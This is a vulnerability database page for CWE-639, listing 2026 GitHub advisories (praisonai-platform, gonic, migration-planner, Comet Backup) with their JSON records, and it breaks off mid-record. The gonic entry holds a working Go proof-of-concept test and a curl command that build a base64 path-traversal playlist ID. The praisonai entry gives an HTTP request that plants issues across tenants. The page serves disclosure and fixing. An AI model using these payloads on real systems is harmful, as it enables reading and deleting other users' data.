Common Weakness Enumeration

CWE-639

Allowed

Authorization Bypass Through User-Controlled Key

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

3391 vulnerabilities reference this CWE, most recent first.

GHSA-2FJJ-QQG8-FG7X

Vulnerability from github – Published: 2026-06-18 14:48 – Updated: 2026-06-18 14:48
VLAI
Summary
praisonai-platform: Authorization Bypass Through User-Controlled Key
Details

Summary

The issue create and update endpoints in praisonai-platform accept a project_id in the request body and persist it without validating that the project belongs to the URL workspace. A user who is a member of workspace W_B (and has no access to workspace W_A) can create issues that reference a project owned by W_A. Because ProjectService.get_stats() aggregates issues by project_id with no workspace constraint, those foreign issues are then counted in the victim's own legitimate view of their project statistics. This is a cross-tenant integrity violation reachable by an outsider.

This is distinct from the path-parameter IDOR family fixed in 0.1.4 (CVE-2026-47415, CVE-2026-47418, CVE-2026-47419). Those fixes scoped object references supplied in the URL path. This report concerns an object reference supplied in the request body at write time, which the 0.1.4 fixes did not cover.

Version 0.1.4 fixed a set of path-parameter IDORs by threading workspace_id into the service-layer lookups (get / update / delete) and by adding the helpers ensure_resource_in_workspace() and require_issue_in_workspace() in api/deps.py. Those helpers are applied to object references that arrive in the URL path. They are not applied to object references that arrive in the request body on create or update.

Details

api/routes/issues.py, create_issue passes the body's project_id straight through with no workspace validation:

@router.post("/", response_model=IssueResponse, status_code=201)
async def create_issue(workspace_id: str, body: IssueCreate,
                       user=Depends(require_workspace_member), session=Depends(get_db)):
    svc = IssueService(session)
    issue = await svc.create(
        workspace_id=workspace_id,
        title=body.title,
        creator_id=user.id,
        project_id=body.project_id,        # attacker-controlled, not validated against workspace_id
        ...
    )

services/issue_service.py, create persists it as-is:

issue = Issue(
    workspace_id=workspace_id,
    project_id=project_id,                 # no check that project_id belongs to workspace_id
    ...
)

services/issue_service.py, update has the identical gap on the update path:

if project_id is not None:
    issue.project_id = project_id          # re-parent to any project, no workspace check

services/project_service.py, get_stats aggregates by project_id only:

async def get_stats(self, project_id: str) -> dict:
    stmt = (
        select(Issue.status, func.count(Issue.id))
        .where(Issue.project_id == project_id)   # no workspace_id constraint
        .group_by(Issue.status)
    )
    ...

Note that the read path is not directly vulnerable. The stats route scopes the project first, so a cross-workspace stats read returns 404:

@router.get("/{project_id}/stats")
async def project_stats(workspace_id, project_id, user=Depends(require_workspace_member), ...):
    project = await svc.get(project_id, workspace_id=workspace_id)   # 404 for a foreign project
    if project is None:
        raise HTTPException(404, "Project not found")
    return await svc.get_stats(project_id)

The pollution therefore enters through the write side (issue create/update accepting a foreign project_id) and surfaces in the victim's own legitimate read of their project statistics.

Proof of concept

Two unrelated users:

  • Alice, member of workspace W_A, owns project P_A.
  • Bob, member of workspace W_B only. Bob has no access to W_A (every direct call to W_A resources returns 403).

Steps:

  1. Alice's project P_A has one in-progress issue. GET /workspaces/W_A/projects/P_A/stats returns {"total": 1, "by_status": {"in_progress": 1}}.

  2. Bob creates issues in his own workspace that reference Alice's project. Repeat 7 times: ```http POST /workspaces/W_B/issues Authorization: Bearer Content-Type: application/json

{"title": "x", "project_id": "P_A", "status": "done"} `` Each returns 201. Each issue is stored withworkspace_id = W_Bandproject_id = P_A`.

  1. Alice reads her own project stats: GET /workspaces/W_A/projects/P_A/stats now returns {"total": 8, "by_status": {"done": 7, "in_progress": 1}}.

Bob is not a member of W_A, yet data he wrote appears in Alice's project dashboard.

Impact

An unauthorized outsider can inflate or skew the issue counts shown in any workspace's project-statistics view, given only the target project_id (a UUID that can be harvested or guessed). The effect is limited to the statistics aggregation; it does not expose the victim's issue contents to the attacker and does not appear in the victim's workspace-scoped issue list. The same unvalidated write path also accepts cross-workspace parent_issue_id and assignee_id values, which have no aggregation read endpoint today but represent the same dangling cross-workspace reference class and should be fixed together.

Suggested fix

On both issue create and update, validate that any body-supplied object reference resolves within the URL workspace before persisting, reusing the existing pattern:

if body.project_id is not None:
    project = await ProjectService(session).get(body.project_id, workspace_id=workspace_id)
    if project is None:
        raise HTTPException(404, "Project not found")

Apply the same check to parent_issue_id (via require_issue_in_workspace) and to assignee_id. As defense in depth, scope get_stats so it only counts issues whose workspace_id matches the project's workspace.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai-platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:48:35Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe issue create and update endpoints in `praisonai-platform` accept a `project_id` in the request body and persist it without validating that the project belongs to the URL workspace. A user who is a member of workspace `W_B` (and has no access to workspace `W_A`) can create issues that reference a project owned by `W_A`. Because `ProjectService.get_stats()` aggregates issues by `project_id` with no workspace constraint, those foreign issues are then counted in the victim\u0027s own legitimate view of their project statistics. This is a cross-tenant integrity violation reachable by an outsider.\n\nThis is distinct from the path-parameter IDOR family fixed in 0.1.4 (CVE-2026-47415, CVE-2026-47418, CVE-2026-47419). Those fixes scoped object references supplied in the URL path. This report concerns an object reference supplied in the request body at write time, which the 0.1.4 fixes did not cover.\n\nVersion 0.1.4 fixed a set of path-parameter IDORs by threading `workspace_id` into the service-layer lookups (`get` / `update` / `delete`) and by adding the helpers `ensure_resource_in_workspace()` and `require_issue_in_workspace()` in `api/deps.py`. Those helpers are applied to object references that arrive in the URL path. They are not applied to object references that arrive in the request body on create or update.\n\n## Details\n\n`api/routes/issues.py`, `create_issue` passes the body\u0027s `project_id` straight through with no workspace validation:\n\n```python\n@router.post(\"/\", response_model=IssueResponse, status_code=201)\nasync def create_issue(workspace_id: str, body: IssueCreate,\n                       user=Depends(require_workspace_member), session=Depends(get_db)):\n    svc = IssueService(session)\n    issue = await svc.create(\n        workspace_id=workspace_id,\n        title=body.title,\n        creator_id=user.id,\n        project_id=body.project_id,        # attacker-controlled, not validated against workspace_id\n        ...\n    )\n```\n\n`services/issue_service.py`, `create` persists it as-is:\n\n```python\nissue = Issue(\n    workspace_id=workspace_id,\n    project_id=project_id,                 # no check that project_id belongs to workspace_id\n    ...\n)\n```\n\n`services/issue_service.py`, `update` has the identical gap on the update path:\n\n```python\nif project_id is not None:\n    issue.project_id = project_id          # re-parent to any project, no workspace check\n```\n\n`services/project_service.py`, `get_stats` aggregates by `project_id` only:\n\n```python\nasync def get_stats(self, project_id: str) -\u003e dict:\n    stmt = (\n        select(Issue.status, func.count(Issue.id))\n        .where(Issue.project_id == project_id)   # no workspace_id constraint\n        .group_by(Issue.status)\n    )\n    ...\n```\n\nNote that the read path is not directly vulnerable. The stats route scopes the project first, so a cross-workspace stats read returns 404:\n\n```python\n@router.get(\"/{project_id}/stats\")\nasync def project_stats(workspace_id, project_id, user=Depends(require_workspace_member), ...):\n    project = await svc.get(project_id, workspace_id=workspace_id)   # 404 for a foreign project\n    if project is None:\n        raise HTTPException(404, \"Project not found\")\n    return await svc.get_stats(project_id)\n```\n\nThe pollution therefore enters through the write side (issue create/update accepting a foreign `project_id`) and surfaces in the victim\u0027s own legitimate read of their project statistics.\n\n## Proof of concept\n\nTwo unrelated users:\n\n- Alice, member of workspace `W_A`, owns project `P_A`.\n- Bob, member of workspace `W_B` only. Bob has no access to `W_A` (every direct call to `W_A` resources returns 403).\n\nSteps:\n\n1. Alice\u0027s project `P_A` has one in-progress issue.\n   `GET /workspaces/W_A/projects/P_A/stats` returns `{\"total\": 1, \"by_status\": {\"in_progress\": 1}}`.\n\n2. Bob creates issues in his own workspace that reference Alice\u0027s project. Repeat 7 times:\n   ```http\n   POST /workspaces/W_B/issues\n   Authorization: Bearer \u003cBob\u0027s token\u003e\n   Content-Type: application/json\n\n   {\"title\": \"x\", \"project_id\": \"P_A\", \"status\": \"done\"}\n   ```\n   Each returns 201. Each issue is stored with `workspace_id = W_B` and `project_id = P_A`.\n\n3. Alice reads her own project stats:\n   `GET /workspaces/W_A/projects/P_A/stats` now returns\n   `{\"total\": 8, \"by_status\": {\"done\": 7, \"in_progress\": 1}}`.\n\nBob is not a member of `W_A`, yet data he wrote appears in Alice\u0027s project dashboard.\n\n## Impact\n\nAn unauthorized outsider can inflate or skew the issue counts shown in any workspace\u0027s project-statistics view, given only the target `project_id` (a UUID that can be harvested or guessed). The effect is limited to the statistics aggregation; it does not expose the victim\u0027s issue contents to the attacker and does not appear in the victim\u0027s workspace-scoped issue list. The same unvalidated write path also accepts cross-workspace `parent_issue_id` and `assignee_id` values, which have no aggregation read endpoint today but represent the same dangling cross-workspace reference class and should be fixed together.\n\n## Suggested fix\n\nOn both issue create and update, validate that any body-supplied object reference resolves within the URL workspace before persisting, reusing the existing pattern:\n\n```python\nif body.project_id is not None:\n    project = await ProjectService(session).get(body.project_id, workspace_id=workspace_id)\n    if project is None:\n        raise HTTPException(404, \"Project not found\")\n```\n\nApply the same check to `parent_issue_id` (via `require_issue_in_workspace`) and to `assignee_id`. As defense in depth, scope `get_stats` so it only counts issues whose `workspace_id` matches the project\u0027s workspace.",
  "id": "GHSA-2fjj-qqg8-fg7x",
  "modified": "2026-06-18T14:48:35Z",
  "published": "2026-06-18T14:48:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "praisonai-platform: Authorization Bypass Through User-Controlled Key"
}

GHSA-2FP4-5V5C-4448

Vulnerability from github – Published: 2026-06-26 23:32 – Updated: 2026-06-26 23:32
VLAI
Summary
gonic: Path Traversal in playlist `id` bypasses ownership check, enabling any user to read/delete other users' playlists
Details

Summary

The maintainer's recent fix in 6dd71e6a3c966867ef8c900d359a7df75789f410 (fix(subsonic): enforce playlist ownership on getPlaylist/deletePlaylist) added an ownership check based on playlist.UserID. However, playlist.UserID is derived from the first path segment of the attacker-controlled playlist ID, with no path containment on the resolved file path.

Any authenticated Subsonic user can therefore bypass the ownership check and:

  1. Read any other user's playlist (name, comment, IsPublic flag, song list) by crafting a base64-encoded playlist ID whose first segment matches their own user ID, followed by .. traversal segments pointing into another user's playlist directory.
  2. Delete any other user's playlist (including admin's curated playlists) by the same trick against deletePlaylist.
  3. Probe arbitrary file paths on the host for existence/readability.

This is a bypass of the boundary the 6dd71e6 fix is trying to enforce; it is closely related to the original GONIC-1 IDOR but uses a different primitive (path traversal in the id parameter rather than direct cross-user access).

Root cause

server/ctrlsubsonic/handlers_playlist.go::playlistIDDecode performs raw base64 decode of the id parameter and passes the byte string straight to playlistStore.Read/Delete:

func playlistIDDecode(id specid.ID) string {
    path, _ := base64.URLEncoding.DecodeString(id.StringValue)
    return string(path)
}

playlist/playlist.go::Store.Read then:

absPath := filepath.Join(s.basePath, relPath)   // no containment check
// ...
playlist.UserID, err = userIDFromPath(relPath)  // extracts firstPathEl, e.g. "2"
if err != nil {
    playlist.UserID = 1                          // fallback
}

userIDFromPath reads only the first segment via firstPathEl(relPath) (strconv.Atoi of strings.Split(path, "/")[0]). It does not validate that the cleaned absolute path stays under s.basePath.

The id parameter is base64-decoded as raw bytes (no path cleaning at decode time), so a payload like "2/../../<victim>/playlist.m3u" is preserved verbatim. userIDFromPath extracts "2" (the attacker's own user ID), playlist.UserID = 2, and the ownership check playlist.UserID != user.ID && !playlist.IsPublic becomes 2 != 2 && ... → false → access allowed. Meanwhile filepath.Join resolves the .. segments and escapes basePath.

Affected code

  • playlist/playlist.go:88-144 — Store.Read joins relPath with basePath without containment validation
  • playlist/playlist.go:200-206 — Store.Delete (same pattern)
  • playlist/playlist.go:208-220 — userIDFromPath / firstPathEl trust only the first path segment
  • server/ctrlsubsonic/handlers_playlist.go:51-72 — ServeGetPlaylist ownership check
  • server/ctrlsubsonic/handlers_playlist.go:182-202 — ServeDeletePlaylist ownership check
  • server/ctrlsubsonic/handlers_playlist.go:209-212 — playlistIDDecode (no validation)

Live PoC — passing Go test

Drop this into server/ctrlsubsonic/handlers_playlist_read_traversal_test.go and run go test -run TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix ./server/ctrlsubsonic/ -v:

package ctrlsubsonic

import (
    "fmt"
    "net/url"
    "os"
    "path/filepath"
    "testing"

    "github.com/stretchr/testify/require"
)

func TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix(t *testing.T) {
    f := newFixture(t)
    t.Logf("alt user ID: %d, admin user ID: %d", f.alt.ID, f.admin.ID)

    // Plant a sentinel M3U file outside the playlists directory.
    tmpDir := filepath.Dir(f.contr.musicPaths[0].Path)
    sentinelDir := filepath.Join(tmpDir, "sensitive")
    require.NoError(t, os.MkdirAll(sentinelDir, 0o755))
    sentinelPath := filepath.Join(sentinelDir, "secret.m3u")
    require.NoError(t, os.WriteFile(sentinelPath, []byte(`#GONIC-NAME:"victim-secret"
#GONIC-COMMENT:"sensitive content"
#GONIC-IS-PUBLIC:"false"
`), 0o644))

    // RAW string — playlistIDDecode does base64 only, no path cleaning.
    rawRel := fmt.Sprintf("%d/../../sensitive/secret.m3u", f.alt.ID)
    traversalID := playlistIDEncode(rawRel).String()

    // f.alt is the NON-ADMIN user.
    resp := f.query(t, f.contr.ServeGetPlaylist, f.alt, url.Values{"id": {traversalID}})
    t.Logf("resp: %s", string(resp))

    require.Contains(t, string(resp), "victim-secret",
        "VULNERABLE: non-admin user (ID=%d) read playlist outside playlists/", f.alt.ID)
}

Test output against current master HEAD 6dd71e6:

=== RUN   TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix
    alt user ID: 2, admin user ID: 1
    resp: {"subsonic-response":{"status":"ok","version":"1.15.0","type":"gonic","openSubsonic":true,
        "playlist":{"id":"pl-Mi8uLi8uLi9zZW5zaXRpdmUvc2VjcmV0Lm0zdQ==",
        "name":"victim-secret","comment":"sensitive content","owner":"alt",
        "songCount":0,"created":"...","changed":"...","duration":0}}}
--- PASS: TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix (0.06s)

The same approach against ServeDeletePlaylist (f.contr.ServeDeletePlaylist) deletes the targeted file.

HTTP-level reproduction

# Attacker user (ID = N) reads target playlist owned by user M.
# Construct the raw rel path: "N/../M/<filename>.m3u"
ATTACKER_ID=2
RAW='2/../1/shared.m3u'

# base64-url-encode (no padding stripping needed since playlistIDDecode tolerates it)
ID="pl-$(printf '%s' "$RAW" | base64 -w0 | tr '/+' '_-')"

curl -s "http://gonic-host/rest/getPlaylist.view?u=attacker&p=pass&c=poc&v=1.16.1&f=json&id=$ID" \
  | python3 -m json.tool
# Response includes name, comment, IsPublic, and song list from the victim's playlist.

Impact

  • Confidentiality: Any authenticated user can read any other user's playlist content, including the private (IsPublic=false) playlists that the recent 6dd71e6 fix specifically tried to protect.
  • Integrity / Availability: Any authenticated user can delete any other user's playlists, including admin's curated lists. Same bypass technique works against ServeDeletePlaylist.
  • Trust boundary: gonic explicitly supports multi-user deployments. This bug defeats the user-to-user authorization model that the maintainer just patched.
  • Arbitrary file content read is constrained by gonic's M3U parser — only #GONIC-NAME: / #GONIC-COMMENT: attributes from the target file survive parsing. File-existence probing works against arbitrary paths.

CVSS

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N = 7.1 High

Suggested fix

Add path containment in playlist/playlist.go for Store.Read, Store.Write, and Store.Delete — reject any relPath that escapes s.basePath after filepath.Join:

func (s *Store) contained(relPath string) (string, error) {
    absPath := filepath.Join(s.basePath, relPath)
    rel, err := filepath.Rel(s.basePath, absPath)
    if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) {
        return "", fmt.Errorf("path %q escapes playlist directory", relPath)
    }
    return absPath, nil
}

func (s *Store) Read(relPath string) (*Playlist, error) {
    defer lock(&s.mu)()
    if err := sanityCheck(s.basePath); err != nil {
        return nil, err
    }
    absPath, err := s.contained(relPath)
    if err != nil {
        return nil, err
    }
    // ... rest unchanged, using absPath
}

Apply in Write() (line 153) and Delete() (line 206) as well. The ownership check at 6dd71e6 then becomes a defense-in-depth layer on top of the structural containment.

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Severity
7.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.20.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "go.senan.xyz/gonic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49339"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T23:32:10Z",
    "nvd_published_at": "2026-06-19T19:16:36Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe maintainer\u0027s recent fix in [`6dd71e6a3c966867ef8c900d359a7df75789f410`](https://github.com/sentriz/gonic/commit/6dd71e6) (`fix(subsonic): enforce playlist ownership on getPlaylist/deletePlaylist`) added an ownership check based on `playlist.UserID`. However, `playlist.UserID` is derived from the *first path segment* of the attacker-controlled playlist ID, with no path containment on the resolved file path.\n\n**Any authenticated Subsonic user** can therefore bypass the ownership check and:\n\n1. **Read any other user\u0027s playlist** (name, comment, IsPublic flag, song list) by crafting a base64-encoded playlist ID whose first segment matches their own user ID, followed by `..` traversal segments pointing into another user\u0027s playlist directory.\n2. **Delete any other user\u0027s playlist** (including admin\u0027s curated playlists) by the same trick against `deletePlaylist`.\n3. **Probe arbitrary file paths on the host** for existence/readability.\n\nThis is a bypass of the boundary the 6dd71e6 fix is trying to enforce; it is closely related to the original GONIC-1 IDOR but uses a different primitive (path traversal in the `id` parameter rather than direct cross-user access).\n\n## Root cause\n\n`server/ctrlsubsonic/handlers_playlist.go::playlistIDDecode` performs raw base64 decode of the `id` parameter and passes the byte string straight to `playlistStore.Read/Delete`:\n\n```go\nfunc playlistIDDecode(id specid.ID) string {\n    path, _ := base64.URLEncoding.DecodeString(id.StringValue)\n    return string(path)\n}\n```\n\n`playlist/playlist.go::Store.Read` then:\n\n```go\nabsPath := filepath.Join(s.basePath, relPath)   // no containment check\n// ...\nplaylist.UserID, err = userIDFromPath(relPath)  // extracts firstPathEl, e.g. \"2\"\nif err != nil {\n    playlist.UserID = 1                          // fallback\n}\n```\n\n`userIDFromPath` reads only the first segment via `firstPathEl(relPath)` (`strconv.Atoi` of `strings.Split(path, \"/\")[0]`). It does not validate that the cleaned absolute path stays under `s.basePath`.\n\nThe `id` parameter is base64-decoded as raw bytes (no path cleaning at decode time), so a payload like `\"2/../../\u003cvictim\u003e/playlist.m3u\"` is preserved verbatim. `userIDFromPath` extracts `\"2\"` (the attacker\u0027s own user ID), `playlist.UserID = 2`, and the ownership check `playlist.UserID != user.ID \u0026\u0026 !playlist.IsPublic` becomes `2 != 2 \u0026\u0026 ...` \u2192 **false** \u2192 access allowed. Meanwhile `filepath.Join` resolves the `..` segments and escapes `basePath`.\n\n## Affected code\n\n- `playlist/playlist.go:88-144` \u2014 `Store.Read` joins `relPath` with `basePath` without containment validation\n- `playlist/playlist.go:200-206` \u2014 `Store.Delete` (same pattern)\n- `playlist/playlist.go:208-220` \u2014 `userIDFromPath` / `firstPathEl` trust only the first path segment\n- `server/ctrlsubsonic/handlers_playlist.go:51-72` \u2014 `ServeGetPlaylist` ownership check\n- `server/ctrlsubsonic/handlers_playlist.go:182-202` \u2014 `ServeDeletePlaylist` ownership check\n- `server/ctrlsubsonic/handlers_playlist.go:209-212` \u2014 `playlistIDDecode` (no validation)\n\n## Live PoC \u2014 passing Go test\n\nDrop this into `server/ctrlsubsonic/handlers_playlist_read_traversal_test.go` and run `go test -run TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix ./server/ctrlsubsonic/ -v`:\n\n```go\npackage ctrlsubsonic\n\nimport (\n\t\"fmt\"\n\t\"net/url\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix(t *testing.T) {\n\tf := newFixture(t)\n\tt.Logf(\"alt user ID: %d, admin user ID: %d\", f.alt.ID, f.admin.ID)\n\n\t// Plant a sentinel M3U file outside the playlists directory.\n\ttmpDir := filepath.Dir(f.contr.musicPaths[0].Path)\n\tsentinelDir := filepath.Join(tmpDir, \"sensitive\")\n\trequire.NoError(t, os.MkdirAll(sentinelDir, 0o755))\n\tsentinelPath := filepath.Join(sentinelDir, \"secret.m3u\")\n\trequire.NoError(t, os.WriteFile(sentinelPath, []byte(`#GONIC-NAME:\"victim-secret\"\n#GONIC-COMMENT:\"sensitive content\"\n#GONIC-IS-PUBLIC:\"false\"\n`), 0o644))\n\n\t// RAW string \u2014 playlistIDDecode does base64 only, no path cleaning.\n\trawRel := fmt.Sprintf(\"%d/../../sensitive/secret.m3u\", f.alt.ID)\n\ttraversalID := playlistIDEncode(rawRel).String()\n\n\t// f.alt is the NON-ADMIN user.\n\tresp := f.query(t, f.contr.ServeGetPlaylist, f.alt, url.Values{\"id\": {traversalID}})\n\tt.Logf(\"resp: %s\", string(resp))\n\n\trequire.Contains(t, string(resp), \"victim-secret\",\n\t\t\"VULNERABLE: non-admin user (ID=%d) read playlist outside playlists/\", f.alt.ID)\n}\n```\n\nTest output against current `master` HEAD `6dd71e6`:\n\n```\n=== RUN   TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix\n    alt user ID: 2, admin user ID: 1\n    resp: {\"subsonic-response\":{\"status\":\"ok\",\"version\":\"1.15.0\",\"type\":\"gonic\",\"openSubsonic\":true,\n        \"playlist\":{\"id\":\"pl-Mi8uLi8uLi9zZW5zaXRpdmUvc2VjcmV0Lm0zdQ==\",\n        \"name\":\"victim-secret\",\"comment\":\"sensitive content\",\"owner\":\"alt\",\n        \"songCount\":0,\"created\":\"...\",\"changed\":\"...\",\"duration\":0}}}\n--- PASS: TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix (0.06s)\n```\n\nThe same approach against `ServeDeletePlaylist` (`f.contr.ServeDeletePlaylist`) deletes the targeted file.\n\n## HTTP-level reproduction\n\n```bash\n# Attacker user (ID = N) reads target playlist owned by user M.\n# Construct the raw rel path: \"N/../M/\u003cfilename\u003e.m3u\"\nATTACKER_ID=2\nRAW=\u00272/../1/shared.m3u\u0027\n\n# base64-url-encode (no padding stripping needed since playlistIDDecode tolerates it)\nID=\"pl-$(printf \u0027%s\u0027 \"$RAW\" | base64 -w0 | tr \u0027/+\u0027 \u0027_-\u0027)\"\n\ncurl -s \"http://gonic-host/rest/getPlaylist.view?u=attacker\u0026p=pass\u0026c=poc\u0026v=1.16.1\u0026f=json\u0026id=$ID\" \\\n  | python3 -m json.tool\n# Response includes name, comment, IsPublic, and song list from the victim\u0027s playlist.\n```\n\n## Impact\n\n- **Confidentiality**: Any authenticated user can read any other user\u0027s playlist content, including the private (`IsPublic=false`) playlists that the recent 6dd71e6 fix specifically tried to protect.\n- **Integrity / Availability**: Any authenticated user can delete any other user\u0027s playlists, including admin\u0027s curated lists. Same bypass technique works against `ServeDeletePlaylist`.\n- **Trust boundary**: gonic explicitly supports multi-user deployments. This bug defeats the user-to-user authorization model that the maintainer just patched.\n- **Arbitrary file content read** is *constrained* by gonic\u0027s M3U parser \u2014 only `#GONIC-NAME:` / `#GONIC-COMMENT:` attributes from the target file survive parsing. File-existence probing works against arbitrary paths.\n\n## CVSS\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` = **7.1 High**\n\n## Suggested fix\n\nAdd path containment in `playlist/playlist.go` for `Store.Read`, `Store.Write`, and `Store.Delete` \u2014 reject any `relPath` that escapes `s.basePath` after `filepath.Join`:\n\n```go\nfunc (s *Store) contained(relPath string) (string, error) {\n    absPath := filepath.Join(s.basePath, relPath)\n    rel, err := filepath.Rel(s.basePath, absPath)\n    if err != nil || rel == \"..\" || strings.HasPrefix(rel, \"..\"+string(filepath.Separator)) {\n        return \"\", fmt.Errorf(\"path %q escapes playlist directory\", relPath)\n    }\n    return absPath, nil\n}\n\nfunc (s *Store) Read(relPath string) (*Playlist, error) {\n    defer lock(\u0026s.mu)()\n    if err := sanityCheck(s.basePath); err != nil {\n        return nil, err\n    }\n    absPath, err := s.contained(relPath)\n    if err != nil {\n        return nil, err\n    }\n    // ... rest unchanged, using absPath\n}\n```\n\nApply in `Write()` (line 153) and `Delete()` (line 206) as well. The ownership check at 6dd71e6 then becomes a defense-in-depth layer on top of the structural containment.\n\n## Credits\n\nReported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).",
  "id": "GHSA-2fp4-5v5c-4448",
  "modified": "2026-06-26T23:32:10Z",
  "published": "2026-06-26T23:32:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sentriz/gonic/security/advisories/GHSA-2fp4-5v5c-4448"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49339"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sentriz/gonic/commit/0824bed88f6bbc490ba28bf09d28e5dfeb07b445"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sentriz/gonic/commit/6dd71e6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sentriz/gonic"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "gonic: Path Traversal in playlist `id` bypasses ownership check, enabling any user to read/delete other users\u0027 playlists"
}

GHSA-2FQW-7C6R-2CQ6

Vulnerability from github – Published: 2026-06-10 15:31 – Updated: 2026-06-10 15:31
VLAI
Details

A flaw was found in migration-planner. The agent-API middleware processes JSON Web Tokens (JWTs) for authentication, but its UpdateSourceInventory and UpdateAgentStatus handlers fail to validate the source_id claim within these tokens against the requested source ID. This oversight allows an authenticated attacker with a valid agent token to manipulate data across different tenants, leading to a complete collapse of tenant isolation. This could result in unauthorized overwriting of victim inventory, planting of malicious credential URLs, or corruption of migration assessments.

Severity
9.6 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-53471"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-10T15:16:41Z",
    "severity": "CRITICAL"
  },
  "details": "A flaw was found in migration-planner. The agent-API middleware processes JSON Web Tokens (JWTs) for authentication, but its UpdateSourceInventory and UpdateAgentStatus handlers fail to validate the source_id claim within these tokens against the requested source ID. This oversight allows an authenticated attacker with a valid agent token to manipulate data across different tenants, leading to a complete collapse of tenant isolation. This could result in unauthorized overwriting of victim inventory, planting of malicious credential URLs, or corruption of migration assessments.",
  "id": "GHSA-2fqw-7c6r-2cq6",
  "modified": "2026-06-10T15:31:33Z",
  "published": "2026-06-10T15:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53471"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubev2v/migration-planner/pull/1213"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-53471"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487070"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2FXC-8V96-J5F3

Vulnerability from github – Published: 2026-05-04 09:31 – Updated: 2026-05-04 09:31
VLAI
Details

A critical IDOR vulnerability has been discovered in Comet Backup affecting all versions from 20.11.0 to 26.1.1 and 26.2.1. The vulnerability allows a tenant administrator to impersonate any end-user account of other tenants on the same server via a vulnerable API call.

Severity
9.9 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-29200"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-04T07:16:00Z",
    "severity": "CRITICAL"
  },
  "details": "A critical IDOR vulnerability has been discovered in Comet Backup affecting all versions from 20.11.0 to 26.1.1 and 26.2.1. The vulnerability allows a tenant administrator to impersonate any end-user account of other tenants on the same server via a vulnerable API call.",
  "id": "GHSA-2fxc-8v96-j5f3",
  "modified": "2026-05-04T09:31:09Z",
  "published": "2026-05-04T09:31:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29200"
    },
    {
      "type": "WEB",
